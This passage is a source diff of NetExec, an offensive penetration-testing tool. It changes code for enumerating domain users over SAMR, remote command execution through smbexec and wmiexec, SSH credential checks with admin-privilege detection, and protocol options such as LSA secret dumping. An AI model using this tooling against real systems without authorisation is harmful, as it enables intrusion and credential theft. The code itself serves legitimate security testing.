         if self.hash is not None:
             if self.hash.find(":") != -1:
@@ -41,36 +36,46 @@ class UserSamrDump:
         if self.password is None:
             self.password = ""
 
-    def dump(self, requested_users=None):
+    def dump(self):
         # Try all requested protocols until one works.
         for protocol in self.protocols:
             try:
                 protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
                 port = protodef[1]
             except KeyError:
-                self.logger.debug(f"Invalid Protocol: {protocol}")
-
+                self.logger.debug(f"Invalid Protocol '{protocol}'")
             self.logger.debug(f"Trying protocol {protocol}")
-            self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
+            rpctransport = transport.SMBTransport(
+                self.addr,
+                port,
+                r"\samr",
+                self.username,
+                self.password,
+                self.domain,
+                self.lmhash,
+                self.nthash,
+                self.aesKey,
+                doKerberos=self.doKerberos,
+            )
             try:
-                self.fetch_users(requested_users)
+                self.fetchList(rpctransport)
                 break
             except Exception as e:
-                self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
+                self.logger.debug(f"Protocol failed: {e}")
         return self.users
 
-    def fetch_users(self, requested_users):
-        self.dce = DCERPC_v5(self.rpc_transport)
-        self.dce.connect()
-        self.dce.bind(samr.MSRPC_UUID_SAMR)
+    def fetchList(self, rpctransport):
+        dce = DCERPC_v5(rpctransport)
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
 
         # Setup Connection
-        resp = samr.hSamrConnect2(self.dce)
+        resp = samr.hSamrConnect2(dce)
         if resp["ErrorCode"] != 0:
             raise Exception("Connect error")
 
         resp2 = samr.hSamrEnumerateDomainsInSamServer(
-            self.dce,
+            dce,
             serverHandle=resp["ServerHandle"],
             enumerationContext=0,
             preferedMaximumLength=500,
@@ -79,7 +84,7 @@ class UserSamrDump:
             raise Exception("Connect error")
 
         resp3 = samr.hSamrLookupDomainInSamServer(
-            self.dce,
+            dce,
             serverHandle=resp["ServerHandle"],
             name=resp2["Buffer"]["Buffer"][0]["Name"],
         )
@@ -87,7 +92,7 @@ class UserSamrDump:
             raise Exception("Connect error")
 
         resp4 = samr.hSamrOpenDomain(
-            self.dce,
+            dce,
             serverHandle=resp["ServerHandle"],
             desiredAccess=samr.MAXIMUM_ALLOWED,
             domainId=resp3["DomainId"],
@@ -96,84 +101,28 @@ class UserSamrDump:
             raise Exception("Connect error")
 
         self.__domains = resp2["Buffer"]["Buffer"]
-        domain_handle = resp4["DomainHandle"]
+        domainHandle = resp4["DomainHandle"]
         # End Setup
 
-        if requested_users:
-            self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}")
+        status = STATUS_MORE_ENTRIES
+        enumerationContext = 0
+        while status == STATUS_MORE_ENTRIES:
             try:
-                names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users)
-                rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]]
-                self.logger.debug(f"Specific RIDs retrieved: {rids}")
-                users = self.get_user_info(domain_handle, rids)
+                resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
             except DCERPCException as e:
-                self.logger.debug(f"Exception while requesting users in domain: {e}")
-                if "STATUS_SOME_NOT_MAPPED" in str(e):
-                    # which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying
-                    self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again")
-                else:
-                    self.logger.fail(f"Error occurred when looking up users in domain: {e}")
-        else:
-            status = STATUS_MORE_ENTRIES
-            enumerationContext = 0
-            while status == STATUS_MORE_ENTRIES:
-                try:
-                    enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext)
-                except DCERPCException as e:
-                    if str(e).find("STATUS_MORE_ENTRIES") < 0:
-                        self.logger.fail("Error enumerating domain user(s)")
-                        break
-                    enumerate_users_resp = e.get_packet()
+                if str(e).find("STATUS_MORE_ENTRIES") < 0:
+                    self.logger.fail("Error enumerating domain user(s)")
+                    break
+                resp = e.get_packet()
+            self.logger.success("Enumerated domain user(s)")
+            for user in resp["Buffer"]["Buffer"]:
+                r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
+                info_user = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["AdminComment"]
+                self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user}")
+                self.users.append(user["Name"])
+                samr.hSamrCloseHandle(dce, r["UserHandle"])
 
-                rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]]
-                self.logger.debug(f"Full domain RIDs retrieved: {rids}")
-                users = self.get_user_info(domain_handle, rids)
+            enumerationContext = resp["EnumerationContext"]
+            status = resp["ErrorCode"]
 
-                # set these for the while loop
-                enumerationContext = enumerate_users_resp["EnumerationContext"]
-                status = enumerate_users_resp["ErrorCode"]
-        self.print_user_info(users)
-        self.dce.disconnect()
-
-    def get_user_info(self, domain_handle, user_ids):
-        self.logger.debug(f"Getting user info for users: {user_ids}")
-        users = []
-
-        for user in user_ids:
-            self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
-            open_user_resp = samr.hSamrOpenUser(
-                self.dce,
-                domain_handle,
-                samr.MAXIMUM_ALLOWED,
-                user
-            )
-            info_user_resp = samr.hSamrQueryInformationUser2(
-                self.dce,
-                open_user_resp["UserHandle"],
-                samr.USER_INFORMATION_CLASS.UserAllInformation
-            )["Buffer"]
-
-            user_info = info_user_resp["All"]
-            user_name = user_info["UserName"]
-            bad_pwd_count = user_info["BadPasswordCount"]
-            user_description = user_info["AdminComment"]
-            last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
-            if last_pw_set == "1601-01-01 00:00:00":
-                last_pw_set = "<never>"
-            users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
-
-            samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
-        return users
-
-    def print_user_info(self, users):
-        self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
-        for user in users:
-            self.logger.debug(f"Full user info: {user}")
-            self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
-
-
-def old_large_int_to_datetime(large_int):
-    combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
-    timestamp_seconds = combined / 10**7
-    start_date = datetime(1601, 1, 1)
-    return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
+        dce.disconnect()

nxc/protocols/smb/smbexec.py

@@ -3,14 +3,13 @@ from os.path import join as path_join
 from time import sleep
 from impacket.dcerpc.v5 import transport, scmr
 from nxc.helpers.misc import gen_random_string
-from nxc.paths import TMP_PATH
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
 
 
 class SMBEXEC:
-    def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
+    def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
         self.__host = host
-        self.__share_name = share_name
+        self.__share_name = "C$"
         self.__port = port
         self.__username = username
         self.__password = password
@@ -27,9 +26,9 @@ class SMBEXEC:
         self.__retOutput = False
         self.__rpctransport = None
         self.__scmr = None
+        self.__conn = None
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
-        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.logger = logger
@@ -50,8 +49,7 @@ class SMBEXEC:
         self.__rpctransport.set_dport(self.__port)
 
         if hasattr(self.__rpctransport, "setRemoteHost"):
-            self.__rpctransport.setRemoteHost(self.__remoteHost)
-
+            self.__rpctransport.setRemoteHost(self.__host)
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
             self.__rpctransport.set_credentials(
@@ -94,13 +92,15 @@ class SMBEXEC:
         self.__output = gen_random_string(6)
         self.__batchFile = gen_random_string(6) + ".bat"
 
-        command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
+        command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
 
-        with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
+        with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
             batch_file.write(command)
 
         self.logger.debug("Hosting batch file with command: " + command)
+
         self.logger.debug("Command to execute: " + command)
+
         self.logger.debug(f"Remote service {self.__serviceName} created.")
 
         try:
@@ -137,35 +137,23 @@ class SMBEXEC:
         if self.__retOutput is False:
             self.__outputBuffer = ""
             return
-
-        # TODO: It looks like the service is hanging anyway until the command is finished, so all this timeout logic is likely not needed
-        # Still adding this for now to keep the structure similar until we can confirm the above
-        tries = 0
+        tries = 1
         while True:
             try:
                 self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
                 self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
                 break
             except Exception as e:
-                if tries > self.__tries:
+                if tries >= self.__tries:
                     self.logger.fail("SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
                     break
-                if "STATUS_BAD_NETWORK_NAME" in str(e):
+                if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
                     self.logger.fail(f"SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
                     break
-                elif "STATUS_VIRUS_INFECTED" in str(e):
-                    self.logger.fail("Command did not run because a virus was detected")
-                    break
-                # When executing powershell and the command is still running, we get a sharing violation
-                # We can use that information to wait longer than if the file is not found (probably av or something)
-                if "STATUS_SHARING_VIOLATION" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
+                if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
+                    # Output not finished, let's wait
+                    sleep(2)
                     tries += 1
-                    sleep(1)
-                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
-                    tries += 10
-                    sleep(1)
                 else:
                     self.logger.debug(str(e))
 
@@ -180,7 +168,7 @@ class SMBEXEC:
 
         command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
 
-        with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
+        with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
             batch_file.write(command)
 
         self.logger.debug("Hosting batch file with command: " + command)
@@ -215,7 +203,7 @@ class SMBEXEC:
 
         while True:
             try:
-                with open(path_join(TMP_PATH, self.__output), "rb") as output:
+                with open(path_join("/tmp", "nxc_hosted", self.__output), "rb") as output:
                     self.output_callback(output.read())
                 break
             except OSError:

nxc/protocols/smb/wmiexec.py

@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
 
 
 class WMIEXEC:
-    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
+    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -26,7 +26,6 @@ class WMIEXEC:
         self.__pwd = "C:\\"
         self.__aesKey = aesKey
         self.__kdcHost = kdcHost
-        self.__remoteHost = remoteHost
         self.__doKerberos = doKerberos
         self.__retOutput = True
         self.__stringBinding = ""
@@ -53,10 +52,9 @@ class WMIEXEC:
             oxidResolver=True,
             doKerberos=self.__doKerberos,
             kdcHost=self.__kdcHost,
-            remoteHost=self.__remoteHost,
         )
         iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
         if not flag or not self.__stringBinding:
             error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 
@@ -140,36 +138,24 @@ class WMIEXEC:
             self.__outputBuffer = ""
             return
 
-        tries = 0
-        # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
-        sleep(0.4)
+        tries = 1
         while True:
             try:
                 self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
                 self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
                 break
             except Exception as e:
-                if tries > self.__tries:
-                    self.logger.fail("wmiexec: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
+                if tries >= self.__tries:
+                    self.logger.fail("WMIEXEC: Could not retrieve output file, it may have been detected by AV. If it is still failing, try the 'wmi' protocol or another exec method")
                     break
-                elif "STATUS_BAD_NETWORK_NAME" in str(e):
+                if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
                     self.logger.fail(f"SMB connection: target has blocked {self.__share} access (maybe command executed!)")
                     break
-                elif "STATUS_VIRUS_INFECTED" in str(e):
-                    self.logger.fail("Command did not run because a virus was detected")
-                    break
-                # When executing powershell and the command is still running, we get a sharing violation
-                # We can use that information to wait longer than if the file is not found (probably av or something)
-                elif "STATUS_SHARING_VIOLATION" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
-                    sleep(1)
+                if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
+                    sleep(2)
                     tries += 1
-                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
-                    tries += 10
-                    sleep(1)
                 else:
-                    self.logger.debug(f"Exception when trying to read output file: {e}")
+                    self.logger.debug(str(e))
 
         if self.__outputBuffer:
             self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")

nxc/protocols/ssh.py

@@ -4,6 +4,7 @@ import uuid
 import logging
 import time
 
+from io import StringIO
 from nxc.config import process_secret
 from nxc.connection import connection, highlight
 from nxc.logger import NXCAdapter
@@ -19,7 +20,7 @@ class ssh(connection):
         self.protocol = "SSH"
         self.remote_version = "Unknown SSH Version"
         self.server_os_platform = "Linux"
-        self.uac = ""
+        self.user_principal = "root"
         super().__init__(args, db, host)
 
     def proto_flow(self):
@@ -181,24 +182,28 @@ class ssh(connection):
                 self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
                 return
 
-    def plaintext_login(self, username, password, private_key=""):
+    def plaintext_login(self, username, password, private_key=None):
         self.username = username
         self.password = password
+        private_key = ""
         stdout = None
         try:
             if self.args.key_file or private_key:
-                self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
+                self.logger.debug("Logging in with key")
 
+                if self.args.key_file:
+                    with open(self.args.key_file) as f:
+                        private_key = f.read()
+
+                pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
                 self.conn.connect(
                     self.host,
                     port=self.port,
                     username=username,
                     passphrase=password if password != "" else None,
-                    key_filename=private_key if private_key else self.args.key_file,
-                    timeout=self.args.ssh_timeout,
+                    pkey=pkey,
                     look_for_keys=False,
                     allow_agent=False,
-                    banner_timeout=self.args.ssh_timeout,
                 )
 
                 cred_id = self.db.add_credential(
@@ -215,27 +220,21 @@ class ssh(connection):
                     port=self.port,
                     username=username,
                     password=password,
-                    timeout=self.args.ssh_timeout,
                     look_for_keys=False,
                     allow_agent=False,
-                    banner_timeout=self.args.ssh_timeout,
                 )
                 cred_id = self.db.add_credential("plaintext", username, password)
 
             # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
             _, stdout, _ = self.conn.exec_command("id")
             stdout = stdout.read().decode(self.args.codec, errors="ignore")
-        except AuthenticationException:
-            self.logger.fail(f"{username}:{process_secret(password)}")
-        except SSHException as e:
-            if "Invalid key" in str(e):
-                self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
-            if "Error reading SSH protocol banner" in str(e):
-                self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
-            else:
-                self.logger.exception(e)
         except Exception as e:
-            self.logger.exception(e)
+            if self.args.key_file:
+                password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
+            if "OpenSSH private key file checkints do not match" in str(e):
+                self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
+            else:
+                self.logger.fail(f"{username}:{password} {e}")
             self.conn.close()
             return False
         else:
@@ -246,11 +245,15 @@ class ssh(connection):
                 _, stdout, _ = self.conn.exec_command("whoami /priv")
                 stdout = stdout.read().decode(self.args.codec, errors="ignore")
                 self.server_os_platform = "Windows"
+                self.user_principal = "admin"
                 if "SeDebugPrivilege" in stdout:
                     self.admin_privs = True
                 elif "SeUndockPrivilege" in stdout:
                     self.admin_privs = True
-                    self.uac = "with UAC - "
+                    self.user_principal = "admin (UAC)"
+                else:
+                    # non admin (low priv)
+                    self.user_principal = "admin (low priv)"
 
             if not stdout:
                 self.logger.debug(f"User: {self.username} can't get a basic shell")
@@ -268,13 +271,23 @@ class ssh(connection):
                     if self.args.key_file:
                         self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
                     else:
-                        self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id)
+                        self.db.add_admin_user(
+                            "plaintext",
+                            username,
+                            password,
+                            host_id=host_id,
+                            cred_id=cred_id,
+                        )
 
             if self.args.key_file:
                 password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
 
-            display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}"
-            self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
+            display_shell_access = "{} {} {}".format(
+                f"({self.user_principal})" if self.admin_privs else f"(non {self.user_principal})",
+                self.server_os_platform,
+                "- Shell access!" if shell_access else ""
+            )
+            self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
 
             return True
 

nxc/protocols/ssh/database.py

@@ -2,7 +2,7 @@ from sqlalchemy.dialects.sqlite import Insert
 from sqlalchemy.orm import sessionmaker, scoped_session
 from sqlalchemy import MetaData, Table, select, func, delete
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -99,7 +99,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -111,7 +111,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/ssh/proto_args.py

@@ -1,19 +1,22 @@
 from argparse import _StoreAction
-from nxc.helpers.args import DisplayDefaultsNotNone
 
-
-def proto_args(parser, parents):
-    ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=parents, formatter_class=DisplayDefaultsNotNone)
+def proto_args(parser, std_parser, module_parser):
+    ssh_parser = parser.add_parser("ssh", help="own stuff using SSH", parents=[std_parser, module_parser])
     ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key. Treats the password parameter as the key's passphrase.")
-    ssh_parser.add_argument("--port", type=int, default=22, help="SSH port")
-    ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout", type=int, default=15)
+    ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)")
+    ssh_parser.add_argument("--ssh-timeout", help="SSH connection timeout, default is %(default)s secondes", type=int, default=15)
     sudo_check_arg = ssh_parser.add_argument("--sudo-check", action="store_true", help="Check user privilege with sudo")
-    sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check (mkfifo is non-stable, probably you need to execute once again if it failed)'")
-    ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results")
+    sudo_check_method_arg = ssh_parser.add_argument("--sudo-check-method", action=get_conditional_action(_StoreAction), make_required=[], choices={"sudo-stdin", "mkfifo"}, default="sudo-stdin", help="method to do with sudo check, default is '%(default)s (mkfifo is non-stable, probably you need to execute once again if it failed)'")
+    ssh_parser.add_argument("--get-output-tries", help="Number of times with sudo command tries to get results, default is %(default)s", type=int, default=5)
     sudo_check_method_arg.make_required.append(sudo_check_arg)
 
     cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
-    cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
+    cgroup.add_argument("--codec", default="utf-8",
+                            help="Set encoding used (codec) from the target's output (default "
+                                 "'utf-8'). If errors are detected, run chcp.com at the target, "
+                                 "map the result with "
+                                 "https://docs.python.org/3/library/codecs.html#standard-encodings and then execute "
+                                 "again with --codec and the corresponding codec")
     cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
     cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
 

nxc/protocols/vnc/database.py

@@ -1,7 +1,7 @@
 from pathlib import Path
 from sqlalchemy import MetaData, Table
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -62,7 +62,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -74,7 +74,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/vnc/proto_args.py

@@ -1,9 +1,6 @@
-from nxc.helpers.args import DisplayDefaultsNotNone
-
-
-def proto_args(parser, parents):
-    vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=parents, formatter_class=DisplayDefaultsNotNone)
-    vnc_parser.add_argument("--port", type=int, default=5900, help="VNC port")
+def proto_args(parser, std_parser, module_parser):
+    vnc_parser = parser.add_parser("vnc", help="own stuff using VNC", parents=[std_parser, module_parser])
+    vnc_parser.add_argument("--port", type=int, default=5900, help="Custom VNC port")
     vnc_parser.add_argument("--vnc-sleep", type=int, default=5, help="VNC Sleep on socket connection to avoid rate limit")
 
     egroup = vnc_parser.add_argument_group("Screenshot", "VNC Server")

nxc/protocols/winrm.py

@@ -25,8 +25,7 @@ urllib3.disable_warnings()
 
 class winrm(connection):
     def __init__(self, args, db, host):
-        self.domain = ""
-        self.targedDomain = ""
+        self.domain = None
         self.server_os = None
         self.output_filename = None
         self.endpoint = None
@@ -53,24 +52,30 @@ class winrm(connection):
 
     def enum_host_info(self):
         ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
-        self.targetDomain = self.domain = ntlm_info["domain"]
+        self.domain = ntlm_info["domain"]
         self.hostname = ntlm_info["hostname"]
         self.server_os = ntlm_info["os_version"]
         self.logger.extra["hostname"] = self.hostname
 
-        self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
+        self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
+
+        self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
 
         if self.args.domain:
             self.domain = self.args.domain
+
         if self.args.local_auth:
             self.domain = self.hostname
 
+        if self.domain is None:
+            self.domain = ""
+
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
     def print_host_info(self):
         self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
         self.logger.extra["port"] = self.port
-        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
+        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
 
         return True
 

nxc/protocols/winrm/database.py

@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
 from sqlalchemy.orm import sessionmaker, scoped_session
 from sqlalchemy import MetaData, Table, select, func, delete
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -82,7 +82,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -94,7 +94,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/winrm/proto_args.py

@@ -1,11 +1,9 @@
-from nxc.helpers.args import DisplayDefaultsNotNone
-
-
-def proto_args(parser, parents):
-    winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=parents, formatter_class=DisplayDefaultsNotNone)
+def proto_args(parser, std_parser, module_parser):
+    winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
     winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="WinRM port - format: 'http-port https-port'(with space separated) or 'single-port' (http & https will use same port when given single port)")
-    winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check - format: 'http https'(with space separated) or 'single-protocol'")
+    winrm_parser.add_argument("--port", nargs="+", default=["5985", "5986"], help="Custom WinRM port, default is %(default)s, format: 'http-port https-port'(with space separated) or 'single-port'"
+                              "(http & https will use same port when given single port)")
+    winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
     winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
     winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
 
@@ -19,7 +17,7 @@ def proto_args(parser, parents):
     cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
 
     cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
-    cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
+    cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
